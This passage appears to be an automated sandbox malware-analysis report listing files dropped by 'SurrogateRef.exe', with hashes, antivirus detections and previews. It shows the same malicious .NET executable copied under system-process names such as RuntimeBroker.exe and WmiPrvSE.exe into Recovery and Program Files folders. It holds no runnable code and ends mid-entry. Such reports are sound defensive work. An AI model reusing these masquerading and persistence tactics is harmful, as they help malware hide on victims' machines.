Size (bytes):	678
Entropy (8bit):	5.890059126904392
Encrypted:	false
SSDEEP:	12:xO9jvApfz/aHnvpdDaT4xw0jcqOulD6nq8G4RHGXsg3qf0XQGEq2XAQeY5xfwOpT:xOBWLYRdDNBjci+njG4Zu1lqwQdxfkP+
MD5:	98D2F74CA5BE2C6423DAD0E3AD61DD55
SHA1:	87156997AB3BEEA09EA47603964A5836CE01D730
SHA-256:	8916DE17CD4EBC1E6AB03978961404918BA9DA59AF315713790442588B8C6E0F
SHA-512:	84DC3C3457D6C8247631DC3000A71556B66DE9EF0AB4308BC61DA596D32A6D3D94CFDBB25A02DB387B236AC0FE73EA61B8C70FE19F4733E9DBB9231BA3D11843
Malicious:	false
Preview:	r9ondZVzkHbHbM8t3UCgJ7FesuY8OeSO3hoPasjGP4VAIkDnyvoEEEgu3K5sAWkFyNO4htTLv5RPlFWIruKd0NKyB4VPx1G2TPL4WJGEbdTIxQIyyxAPMHPlDZ3nXDY3zY5W3bvioFBW3BBuvhb900pMAk17QdrXFZTYUw4XBckHF2rBYI1zlYD8stWTjySLYnResmZ9mE8XQhGH20iHl1wqWUqkalxNKZtckNTvs2MhapsKnObtPKkg1kIX6yiBRvN1yogohwYsoPQqmf7LKE79yNkAF5z4ULQpc1W9rwLcw12mTbva1W1MxOClDgjl7eYd9lNvI8eY2eM7U7qnKYC7TD1Nzv5LMjfRdZnsN9S32dTSBEQF05bicaJ5uA6XCSLT94e5U7ZKGJF0tiLuezUQI6zCPr7ND40jSATGkUv2gRcTVTLMyL2N74KCEbqmALGLSfhtOFJJEcu0egq6gvZ2BnmXzRBJoI2UKQA0vc7tBtIfKUhiuuGOwOKo3K37DAf5kaqOg0KDyq0SeGNftdY4Cni5FW7lj9qANN5uoTC4jCaFY1Kw7YNjml261uIK2jeyAzEQLd1abdU9NchOLLoLvGYmU824K2BAilFjw3kdgxHIQ3tZM48r4TC3ab6Nl7QjcTblX8bSkKo89QWbOcrQ3UGOiLIV7X2jhh

C:\Program Files (x86)\Windows Mail\8f05d91182d17c

Download File

Process:	C:\comcontainer\SurrogateRef.exe
File Type:	ASCII text, with very long lines (429), with no line terminators
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.879881023574037
Encrypted:	false
SSDEEP:	12:X+4pxWVuHtp8YMrAoWcScKKnoOL8ySyMBapJ:OGS08YMEoWgKKoOL8/yMBaL
MD5:	35D554F314F875CD22AA345844D8E240
SHA1:	F91D0A21634FAA3E465BE5F3E8CF05E6B9F286E9
SHA-256:	1B5C112CF8B4B5698564D55ECA9854CD47A5D410AD32C495906CB0DAED2FFE1B
SHA-512:	DFB97E6F17E9205B546D8116772B07D8CE11D56D6B1AB4F3C4276436C728D6FCB471CB511307F7DC86174431FFB1959464D09E9393E38C0632084FC760C8E290
Malicious:	false
Preview:	Ldfl5zdJHgX95bnIGCR8zpAvxlWFrnX9KUkX1pXKa4WaJxAWs7zUuqkgduyTdYcdJYyk1QRapGh5Tkl9lAWtyDOduD4H1DrCc2Qv8ZecqYonJoM2IysdBsoGKV0yVJilZfdaT0BLf4DaYkUF0B9DUNAtNKknjqGgzCNnLwjRxh7HpOsjBu7UKfQLetMJPXlzxgkVXq4EbrQxQ3E9bBmyswVUvBJbjaBZ5IUIoXMU032dPd5kpNrOvxGAKQjVhceBp02Ij6VEzR8z42FSGiwWsxnIBT7Yx1xXY0xYlxBs2nZdyQGSKQP8qHT2NtGP96Q8ekaDErrSgDeFYKTuMoNglyrRh5K1qvt5Wb9NzCNdj6cmnNeCaVCUtuWq3JgJg0muUjt6LF4Kbt7pWFnTbIbUsYLmESUqfD7tTrREeh1Ua23Aw

C:\Program Files (x86)\Windows Mail\SurrogateRef.exe

Download File

Process:	C:\comcontainer\SurrogateRef.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1515008
Entropy (8bit):	7.209972232078563
Encrypted:	false
SSDEEP:	24576:Vbux7fBIcZYBhXDz9rDYe0sbT2EqdGoFKfD/M5lXVcp:Vbux7bKPRse0mTnqfELMJ
MD5:	A730EA6D448D235275000CF8ADA09A96
SHA1:	D1471DA18D3BFB0C4E8116270C1A92F3A40AE75F
SHA-256:	DAFE1BC5AD53B430E73D755268355F7B4B9AFAF65E592DFC7A8A841D0DF75B03
SHA-512:	25012A0EC68AC77DE8B0132B502DE4CC486EDB9868905344513E83CA235FA7E1FDB29BB93DE2A7B3627EED76018961AC30C3C272E14DD67244AFEB2B3FAD073D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ... ....@.. ....................................@.....................................K....`............................................................................... ............... ..H............text........ ...................... ..`.sdata.../... ...0..................@....rsrc........`......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\WindowsPowerShell\SwpTnCnrsAAKjgTAQ.exe

Download File

Process:	C:\comcontainer\SurrogateRef.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1515008
Entropy (8bit):	7.209972232078563
Encrypted:	false
SSDEEP:	24576:Vbux7fBIcZYBhXDz9rDYe0sbT2EqdGoFKfD/M5lXVcp:Vbux7bKPRse0mTnqfELMJ
MD5:	A730EA6D448D235275000CF8ADA09A96
SHA1:	D1471DA18D3BFB0C4E8116270C1A92F3A40AE75F
SHA-256:	DAFE1BC5AD53B430E73D755268355F7B4B9AFAF65E592DFC7A8A841D0DF75B03
SHA-512:	25012A0EC68AC77DE8B0132B502DE4CC486EDB9868905344513E83CA235FA7E1FDB29BB93DE2A7B3627EED76018961AC30C3C272E14DD67244AFEB2B3FAD073D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ... ....@.. ....................................@.....................................K....`............................................................................... ............... ..H............text........ ...................... ..`.sdata.../... ...0..................@....rsrc........`......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\WindowsPowerShell\b85529a8a0a78e

Download File

Process:	C:\comcontainer\SurrogateRef.exe
File Type:	ASCII text, with very long lines (918), with no line terminators
Category:	dropped
Size (bytes):	918
Entropy (8bit):	5.901198583186131
Encrypted:	false
SSDEEP:	24:Z4ZzSF95/gXg/a+JgapNL+wu6HT1+B+X3PZMVkjfXck:Z41SmXYg0Xpzi2hwkjvP
MD5:	3981D680F9BE7801918D4C630C02FE47
SHA1:	DAEB47205C60AF462C7F926FCB2F5E7F1DA8A21B
SHA-256:	B6E0D403AA16E15EF1FFE2395EBBD996C1EDC5890C764C086460651A2FD9EC49
SHA-512:	5BA41F61D05F61E175091BD5CCF8A44DCBBD5BF70E66A6D1680482BF8F9E4F1C6BE8973E3D4DD2474F091B4131A19A08B14CD2610A7548411EAA861CFAD97B2B
Malicious:	false
Preview:	VlaIeqmoQDrD2MR9fpB04AhsZijHJvFL2m9i9WBDTNYJ5VA9jAByGHAVDrt6Hfef8gKQMs9In8hqlYwDijhJtREulofSnF5yt3KZKtw0A3KIkTto4pXh8UvqbaohNrfiCt7rNW2ywqI0H6KS40X7rY0YHe8uFOnSXmF1VCahxjuRM5jeQWnXUh0o3jktYIthDzcf0S62ZzKIniMM4detlP8zvb8wbqJozMNWcEo7Zu7eXrBUWXz4nA6x0mtZUJatqfSaUzuzzhT1SecEanZE0PAzQZfzVPmPTOy2Yk9gnAEGqFfWKp9ruW2bedJ5U4ek5EhEqjpzo2a0K4JL4IoqQ4f7VXX5aEMtgeLlibqkAJD15BQkT8ALPyUAjjsSMtYjqrUpthndcDqG1oBUGxlcEAdsKKC8sXYQvdLOql1wVhtLINJ5hYMZH5fpOmfieouEpZUXcxnf6zGgRRk6BHaUL9Iz8f9EGTRrwpgs2vcuurdSy8X6CigWNa3qQfZ7xiYmhZumv1DQpqjdg0A9IDBhw5dWv0bXWe6LS0uYNvLLePqg0ZJaeZzuh10m6Y04Zq3KuYKqFlwW10ChO6fWqB27pLobAHcz5QvyVfwcOdU2nc3qySY92eOYx6fittq8J6bkFOLsKDHMrAUMS8mrtc6bCWBZANsfxWtqBSkkHqyzWCrxmSQvH9OqA9hsMwr7UmYUQoL9XBjDoGEApOws77XyHCpBu1YV81eunWg8GQXGZLC35hD8999XOjNN8JOgnNEwmUXSrylqkRZ6AvGNyZW81HfDJS97B1cMGQRkKuRLYSx7KQNNDBrN1G4ezTJYyopsyM0udfDDILkjUi23Fw3AJPUAVxv0l2WunEI8acth7nFqfVKQbQTBuojj20YqtMcQy05QZ4cmCVCfKoeAmeZUiU

C:\Program Files (x86)\jDownloader\config\9e8d7a4ca61bd9

Download File

Process:	C:\comcontainer\SurrogateRef.exe
File Type:	ASCII text, with very long lines (745), with no line terminators
Category:	dropped
Size (bytes):	745
Entropy (8bit):	5.886827601966164
Encrypted:	false
SSDEEP:	12:BkvXBl1kAKDTkmLIZsmCsRWg1iAMALOOnJZhUkIPlq0YLUEh87at88bbDkdqMvF+:BgkAKvkmUZsK3ooLOuJeqHh8sbbDOqMs
MD5:	1EE17F0F0DF12674CF2D48873F5F6FCA
SHA1:	BFAD3DC16570F47AE1B0A3E26EFFC433ACEDFA84
SHA-256:	7DDD4D009EA2DD6F2CE933F8B3D34F11978E0B002D180D33869ED56A268EB6FC
SHA-512:	C9CFF69330D926F0F478D8BC75BCFFC59689AA3659CE7B7523D6E53C097BAAF6DF5612EB6A6D55272730DD3AD5DCA730646C9FD20FC2223F8DCE27DB03F74FCF
Malicious:	false
Preview:	2kvkXStyFwaRAIoorh8TaqQvx9EcLNpWj7jQ58XAJnWcY6M3GrsvTETMT9wXORm1GEsCjYssJ7KwTyW1xKVee4CeoX76L9w2BeVUNJUs9AmW3g2fm5kD5IXMBNXLavgJKRvzcCnnzmfeSqkIebTQZs63HJS9vIRNdcLmvDCkR7OSn24VmPr9bQucV1rStn1qVRBzf8XbZt9beoQOP7XgbSwNstR3Vu0nFh7V1E0n2PjsQS7qlcDvQVOCfyGwreFo2WV6q4XKHtnMsD6avkR3rFWuS50D8E5YJ5z46B9qF2ngrCTb1qAHMM7x9lnvETMDxPCxOBdukkxyb0DQmZLRDyL77C5VXNmvpksbAfNzMQgmYIVJhXJoI5A9EE0LGHWW7CJ1HlQGMVEwSjjyqvxAE8nujtX5oBtF3JoW9eB6HCcw0NqefBfUUWS9YYRXNUbKm92J5MzMu12Bf14WD3ZngYuh0o8kMoswlRJ0UhjSMSkcdQege5UU4yoOOVSQOO9FIGaNsDBgTHaNxSDjKbFRUY1wm5l9OSE8SfUX0Qyb3yAxYba6RsGwIrvuOokwbCRBCb4S8qt3moYgXEXLeprfMRzltjIMpB91g9u6gI8l9MKeTPWKQYSwUvyvmTiYhhOlog9YTapWqGgAHVReM85QtNgvL9UNjkEc7izxP81zt6GOPxnQCELil72b9ONTGcxGBDCigePOHFhwGSgXVELfYf0AqXxBuhtRJAMLuFuhy

C:\Program Files (x86)\jDownloader\config\RuntimeBroker.exe

Download File

Process:	C:\comcontainer\SurrogateRef.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1515008
Entropy (8bit):	7.209972232078563
Encrypted:	false
SSDEEP:	24576:Vbux7fBIcZYBhXDz9rDYe0sbT2EqdGoFKfD/M5lXVcp:Vbux7bKPRse0mTnqfELMJ
MD5:	A730EA6D448D235275000CF8ADA09A96
SHA1:	D1471DA18D3BFB0C4E8116270C1A92F3A40AE75F
SHA-256:	DAFE1BC5AD53B430E73D755268355F7B4B9AFAF65E592DFC7A8A841D0DF75B03
SHA-512:	25012A0EC68AC77DE8B0132B502DE4CC486EDB9868905344513E83CA235FA7E1FDB29BB93DE2A7B3627EED76018961AC30C3C272E14DD67244AFEB2B3FAD073D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ... ....@.. ....................................@.....................................K....`............................................................................... ............... ..H............text........ ...................... ..`.sdata.../... ...0..................@....rsrc........`......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe

Download File

Process:	C:\comcontainer\SurrogateRef.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1515008
Entropy (8bit):	7.209972232078563
Encrypted:	false
SSDEEP:	24576:Vbux7fBIcZYBhXDz9rDYe0sbT2EqdGoFKfD/M5lXVcp:Vbux7bKPRse0mTnqfELMJ
MD5:	A730EA6D448D235275000CF8ADA09A96
SHA1:	D1471DA18D3BFB0C4E8116270C1A92F3A40AE75F
SHA-256:	DAFE1BC5AD53B430E73D755268355F7B4B9AFAF65E592DFC7A8A841D0DF75B03
SHA-512:	25012A0EC68AC77DE8B0132B502DE4CC486EDB9868905344513E83CA235FA7E1FDB29BB93DE2A7B3627EED76018961AC30C3C272E14DD67244AFEB2B3FAD073D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ... ....@.. ....................................@.....................................K....`............................................................................... ............... ..H............text........ ...................... ..`.sdata.../... ...0..................@....rsrc........`......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\jDownloader\config\b85529a8a0a78e

Download File

Process:	C:\comcontainer\SurrogateRef.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	151
Entropy (8bit):	5.583567015523944
Encrypted:	false
SSDEEP:	3:w4kgf1IwdTUK2BCvBeNU0sXW5ciwC4j6Tu3h/bYDSbkP:wKywR6Bm8NyGCr/uTuR/bYZ
MD5:	EA83027624A57F21E6952588A7B37869
SHA1:	8B5EFC376FAB8016CF1CFB84FA8CEDCBF2193953
SHA-256:	6C93B97B3F3225917269C25C42787C7D7797136FDB3171498A12F955A35115B4
SHA-512:	ECE6BB9738233AC2FD4F922D8837379B2D4FC027CD6C46D75DB16E1F3E3C5A9A835B3E13C4AC938A4219D964E7A561A5D228DE95C93387DD96F083F0293218CD
Malicious:	false
Preview:	8FW5WnN2u8AQc4qC8itnnFuDGa94wSM8jm8vqoSHVjv6oKMRzWquwjf2VTz6oTFbvCq054WUQlSDUyY5NsFamcM9GFaXyVdBeTKmeWV49WeKRcig44s5OpzTzrtze9f4IQjAowa1WKaQ7Brnh3c3nhx

C:\Program Files\Windows NT\6ccacd8608530f

Download File

Process:	C:\comcontainer\SurrogateRef.exe
File Type:	ASCII text, with very long lines (603), with no line terminators
Category:	dropped
Size (bytes):	603
Entropy (8bit):	5.9041775587444985
Encrypted:	false
SSDEEP:	12:HnXZnWD183GVKjk54fYAaDvOicBWgigvnc7TQitl826quYpgqR63isz:HpnWe3GV4SXOiali+nuTD7VwFz
MD5:	D1C4D416CBA30C983A7FEE03FD8F7882
SHA1:	CB1646AF147A365C42572B317C910D94421B2244
SHA-256:	3CF334B465D35E9F230B3504D371F46B7343E4945C4182D4623339D52FC8E30F
SHA-512:	69B9E488B1DF2A7168257F4B243DD79B3D8E6C60395BDE5F139641EB4FB812BA26F72A27C7148A1BB0208FEF5DEF4E8956BCF087FB3476875AF97362F40C64F1
Malicious:	false
Preview:	BuvrESc88FsNE236I4yv4MD2iZibiwAIc63Vm6dYOyTu1cyGme1QN6qyr3JptAZLFjuI8iTMaahG2SBFkczE5t5gPEntwxoNYHoRspHELo0xYj6Y2DERLVQWoN244jamvUruntX5Uu3Q2IHqIP1stXBC1SnewNJlONBE1LuIqJ6ac9dfGMvpsr3YSp3VF3IHlRCpGCy7esCkbkj1zHXkbe2hUnwMSZDwAyzK7yZDYyKAoT6rFBf7fipGZfUcQmoFoQjmvY4BsULnU22AqFHQ3FQbJsvcd6xwJEVYtU6qGePLWCwgmTwKfYMj9HdCncivgZdPhdRWIaKZ0EFG6OzJKmRv2wZl03Do6dp6ig9JCZBENxs4CWFYmYl3IsXvEpfOXfcXZIiaPqGukMhFDejeyoBh1vy0INEX4wqrUVf4ypI6R0S6KSrkFBase5fnTrRBlt0xfzvs8opIgEPAd2p0geR2W8NYz1kGYGViAeaVh9lbWRMZpeKbCafGc7bhmW2GEiuZtrA8bUTg20gEvxsVrIE8lOGCD2sKHfWxhxq8eM9rG9OlbXvyngZ5dwxek75ilIYXdtg8Ht1eJX1m9elqH4gkFbT

C:\Program Files\Windows NT\Idle.exe

Download File

Process:	C:\comcontainer\SurrogateRef.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1515008
Entropy (8bit):	7.209972232078563
Encrypted:	false
SSDEEP:	24576:Vbux7fBIcZYBhXDz9rDYe0sbT2EqdGoFKfD/M5lXVcp:Vbux7bKPRse0mTnqfELMJ
MD5:	A730EA6D448D235275000CF8ADA09A96
SHA1:	D1471DA18D3BFB0C4E8116270C1A92F3A40AE75F
SHA-256:	DAFE1BC5AD53B430E73D755268355F7B4B9AFAF65E592DFC7A8A841D0DF75B03
SHA-512:	25012A0EC68AC77DE8B0132B502DE4CC486EDB9868905344513E83CA235FA7E1FDB29BB93DE2A7B3627EED76018961AC30C3C272E14DD67244AFEB2B3FAD073D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ... ....@.. ....................................@.....................................K....`............................................................................... ............... ..H............text........ ...................... ..`.sdata.../... ...0..................@....rsrc........`......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files\WindowsPowerShell\SwpTnCnrsAAKjgTAQ.exe

Download File

Process:	C:\comcontainer\SurrogateRef.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1515008
Entropy (8bit):	7.209972232078563
Encrypted:	false
SSDEEP:	24576:Vbux7fBIcZYBhXDz9rDYe0sbT2EqdGoFKfD/M5lXVcp:Vbux7bKPRse0mTnqfELMJ
MD5:	A730EA6D448D235275000CF8ADA09A96
SHA1:	D1471DA18D3BFB0C4E8116270C1A92F3A40AE75F
SHA-256:	DAFE1BC5AD53B430E73D755268355F7B4B9AFAF65E592DFC7A8A841D0DF75B03
SHA-512:	25012A0EC68AC77DE8B0132B502DE4CC486EDB9868905344513E83CA235FA7E1FDB29BB93DE2A7B3627EED76018961AC30C3C272E14DD67244AFEB2B3FAD073D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ... ....@.. ....................................@.....................................K....`............................................................................... ............... ..H............text........ ...................... ..`.sdata.../... ...0..................@....rsrc........`......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files\WindowsPowerShell\b85529a8a0a78e

Download File

Process:	C:\comcontainer\SurrogateRef.exe
File Type:	ASCII text, with very long lines (641), with no line terminators
Category:	dropped
Size (bytes):	641
Entropy (8bit):	5.874527234121219
Encrypted:	false
SSDEEP:	12:0qbUsmDDmFvRod+9DNzJtpdzxYpYGAuwIEgXJ9MvZUfnGV7iGgA1:0qPzAINhJtpdzWYGAbIECuvyOX9
MD5:	B423EC42CFBDFBD755C713543E08549A
SHA1:	645DE815DB50695C33DAB23CF489366F8F86F331
SHA-256:	4E64D474B8EA67DE8752B993699AE830144B71EB00F0ACCED67CB4A30FFF323C
SHA-512:	96D61B3C9EA8C77C0228E27598A1E80BD6B2D5F09CC26774E128CA9F1DDFF4D91771CE3EAD053D1D999B0774B55CE9AD85FFFD86A1D7DF62EB57670356201EF0
Malicious:	false
Preview:	qRIvufPiEfLhRs64pLG4YduAUBzihBSJn7GidomSycXcsuvwNXnACEOMhHbtprADNB4TmXbBixG6GRRkPCUJXSHis3BVM3nHbUPrzbKz6mbP7SGP00dnW0p44WksWFypK9evBkux2fMu02kawvfWZAukoUxd0bd1ywE8yUNPFqu1o4DBvK5kkbPJO3GrxR6aBV6ExmlchPQtP36uQvrpf3RWg4t4NgcytU0S89NJjdCULf4V6WaBjQ4HEji22rOBwcA4DowRhiGC16LBAY81FaOcZsNYaVQ2PAhse9RSkJeBK2QIYh2dsW5WOifVbY0MROw0YcgAHqR66NShcF93cxJ2FLe6e61LSSt5GZu6B2WCF8aAQ82WZ7teF3vM7jgKyFondWbDUC2kaGxGvdqgDewUiOzMnh9bVLN9Uwh3gzBWFJD9Gpad39HTSTFPgOZxDaOP2xv96w9OdaPYK0F8GfhVE3rBqRWRaOSo5yGT4bgGA202DrEqJaqi32L8GuSparxPHldWuwEp8aVLDy79MqI9huvCnIMJI1qTEkucNs5WWBjcg94RxTctiyrW0atlj4gGuCGcDfveuwngLTfnN5WzZ7uQ3Ymx8Uwbecre3bNSh78wLKLh4FYohqqwSzjp2

C:\Recovery\24dbde2999530e

Download File

Process:	C:\comcontainer\SurrogateRef.exe
File Type:	ASCII text, with very long lines (947), with no line terminators
Category:	dropped
Size (bytes):	947
Entropy (8bit):	5.909405389269913
Encrypted:	false
SSDEEP:	24:95rCfBcn7RUAlNYEZcPjD+AW7AayqBkJb15Y9heKxqT:P2fS7HfejD+nRyqB25Y9hV+
MD5:	478484B48BBD29EF472C82C4917788EE
SHA1:	CD441FB6396ED12B11BBC3FD78274963531FEFAC
SHA-256:	FF54E971662D0338DC34D07D0D47D6C50034091518205CF9FF6C786D1D96BCC3
SHA-512:	7CFC799BC463D4683BD12972C1368ADCC9E9885C83CB982591B7B7D252F2E1D47753A4B3014C9803783068201A2F6D239DF0114E0C46BDC644BC05FCB3E2084A
Malicious:	false
Preview:	9lN3NQz39rBxqykYc91U7OVb7Ta8j59Dy7EbufiuecJb9Dbh1vBhSJ9uQw63z0TEs79stJo6bH0fE3c322Hy3bvp8UK7jo4nIFtBEsxrHEGKSdpWUDA7sfLRMUuZ8qXwNMW9JazKEaqyUkWeoyngn74n4czt7YsbrU7GGpM3N02SyW6l8PuKC0IPRtFrlGNqrPG9nPX8ltSxEmyhfNurniY1MrzXjfSHnMljQ78t2wiThULp4iLXVfCJ1Px5aAYGbLJ2APQhPBz19FT1gKcBT5wHJcrAKCT1Xc2WLTopRnIUqLJw55ZPhXxfYBshhQXMs7dhN6qNfwtpwbb8T5EOnDT9oW7JkGHBQ6lsrlj9PMuunHt7kuOlLIipnd209hmYpsY00tQrWF9bSiWgmAiz1gzHX6FNts9rjVF5s3G1dhOFIHWEHWO88whJ2Rc3oD7oGR27dbxt3rWTRu9QkAGXdAtwy6CbaNMajk90PYlqifFQaN1IRLSn7kKFiFJgYVSpe5tquIBLYZy85cVkE4KP5jd9Z4SJPFRMMZvfdLYJKGPhwMJGuibeLDu5cuRz026THlvfq0H3gAEyU5MMuMYqnxAJo0Ds3iTSK5ZKanZ4bh8L86lghEFndPqUll10xYA7rwoYgCwGwePFzzLsPgKycpy4PFjywjGChAdMSM9fS819AkfvaIlQNLeB7tJad7TNXMiyV8aChpgeyz3pjxXo80zVfcOiDiBUonlxCqZcsithpANIze1pjpPhXMT3u198oLzKOGm3Y55ZHRqeOGtirVu9YDazXfr1jv3dKD4t17RotzaFfypoIaQSa0vKpxf3NE0WYNTLL9ruEGQinUTj0DsIekCURuDEcXao9DrSeecItgOUkNgVd6CKVs1yK93b5nRqqljjnBFVlkY8VsuENskfVQSRM3IfkBMGOhn8n6sc1rivT3c

C:\Recovery\886983d96e3d3e

Download File

Process:	C:\comcontainer\SurrogateRef.exe
File Type:	ASCII text, with very long lines (893), with no line terminators
Category:	dropped
Size (bytes):	893
Entropy (8bit):	5.895920661511299
Encrypted:	false
SSDEEP:	24:Byv7HVUAaFiGCKl9MHL4qC57xmj9l8Rg0n3mkj9OX:MHeJijKKL4qCR89l+z3mQOX
MD5:	469CEFB26FCEAC8D9D31CBBB64703EA4
SHA1:	2A9FCED8E5CDED9546AB47779C49E8278B471052
SHA-256:	4B7F7FC6595970DD3673903D1F0547D6D626F15F1085D44D1703E62549E7A0ED
SHA-512:	C67C4DD180895B1382FFE45BD89A0C95D1F0ACE1EA688921F092C661EE26F08E82336A3FCD6031DE1142A5C0246A25DC09AAAF4CF2374C14CA01C2F659DCB14A
Malicious:	false
Preview:	h2Hd1jDPjVy9FSlgmQkcugxAnO0uaZX9qu9AVZv8tj5f8xgNydOTbiIBFH0msTyJ7ySVSkLMemsLlSBzsn56LEhIm85NjJPauvhJfL5OSCyzz6awFA4FX283QJtTo7mVWSbzu2UgrrnJPsTpiIIjOKD1wo3WcljUZcchfkBNqXXqOzni0DufzDGMOjCG88EFHTtxPwJ8G430wXn7AVfY1DfWVQS5h5OsTRi5F0SD4wY4JQZ16FGncqODxXb9dNaLqLhfyr1JDbdEplMF1b9cylPmDfIsZTkqWNN8s3DON6kAMJYLKVHCO7WF54cSjJut1xscXNX7XuP2APZ3H6hDLhbY0IDxbupEM0IZb6y68JoeseEpfiLnlqiUVUmOKjgnEKqKHAbKIkFC27pVEXS2iCdfSyDHUjwZnBZhy3ieGAeAkfbYoQKwQnECrK2S7U0iyqY0iHhKzyvihc4wXpcDY9IA7W0nBPhwK6L4Hk0gt97c1gfOPF5S2xKziY3LR3IjQ9XlRApwy5UYCpJa1lX6UP3WvWVsqoPz1XL1I47PaId6cvw3PcUqfMPBGBz4o7GKqehodRS7nIfLv64AjccNUjToHKvHEDkdCTQ7NIZ7KWCXqEQJGyVLe2zHL3gTgL2khCIcq6xbDeD7g57D4mAPsZ8KdJwUlGb9ec0n5xcKB3I9y2kP5dZ4Km2ID78hJc06DEdEFUHGJzNyQ9WljhYHrhy1jsj8z5AjDL5uYfJlVSuUZD1ElW8mDsPgPleXuJQOyovFDlMDXxvYwdcf1fWc7YfU6ZexAw0MCgguSvA9K4PP70twJ9gOwyQaJaIoHZCk7jWQ7sNFfWSCIPXFqsoBQmZNPFk1nV2u2oSYecybvatZgNR4DC7ZvAUVJIB1H

C:\Recovery\SwpTnCnrsAAKjgTAQ.exe

Download File

Process:	C:\comcontainer\SurrogateRef.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1515008
Entropy (8bit):	7.209972232078563
Encrypted:	false
SSDEEP:	24576:Vbux7fBIcZYBhXDz9rDYe0sbT2EqdGoFKfD/M5lXVcp:Vbux7bKPRse0mTnqfELMJ
MD5:	A730EA6D448D235275000CF8ADA09A96
SHA1:	D1471DA18D3BFB0C4E8116270C1A92F3A40AE75F
SHA-256:	DAFE1BC5AD53B430E73D755268355F7B4B9AFAF65E592DFC7A8A841D0DF75B03
SHA-512:	25012A0EC68AC77DE8B0132B502DE4CC486EDB9868905344513E83CA235FA7E1FDB29BB93DE2A7B3627EED76018961AC30C3C272E14DD67244AFEB2B3FAD073D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ... ....@.. ....................................@.....................................K....`............................................................................... ............... ..H............text........ ...................... ..`.sdata.../... ...0..................@....rsrc........`......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Recovery\WmiPrvSE.exe

Download File

Process:	C:\comcontainer\SurrogateRef.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1515008
Entropy (8bit):	7.209972232078563
Encrypted:	false
SSDEEP:	24576:Vbux7fBIcZYBhXDz9rDYe0sbT2EqdGoFKfD/M5lXVcp:Vbux7bKPRse0mTnqfELMJ
MD5:	A730EA6D448D235275000CF8ADA09A96
SHA1:	D1471DA18D3BFB0C4E8116270C1A92F3A40AE75F
SHA-256:	DAFE1BC5AD53B430E73D755268355F7B4B9AFAF65E592DFC7A8A841D0DF75B03
SHA-512:	25012A0EC68AC77DE8B0132B502DE4CC486EDB9868905344513E83CA235FA7E1FDB29BB93DE2A7B3627EED76018961AC30C3C272E14DD67244AFEB2B3FAD073D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ... ....@.. ....................................@.....................................K....`............................................................................... ............... ..H............text........ ...................... ..`.sdata.../... ...0..................@....rsrc........`......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Recovery\b85529a8a0a78e

Download File

Process:	C:\comcontainer\SurrogateRef.exe
File Type:	ASCII text, with very long lines (615), with no line terminators
Category:	dropped
Size (bytes):	615
Entropy (8bit):	5.888494500383328
Encrypted:	false
SSDEEP:	12:x6eFUPS0LFZUrWOjU0yeSjPEg04nCMjN4Xfc7jsJrInOxyPvcpBZYsHW:gnJLFOWKVyekMrMjmXMjsOOx+8d2
MD5:	0B5E3F933DF6CBC528A3F79F9FBDFC4B
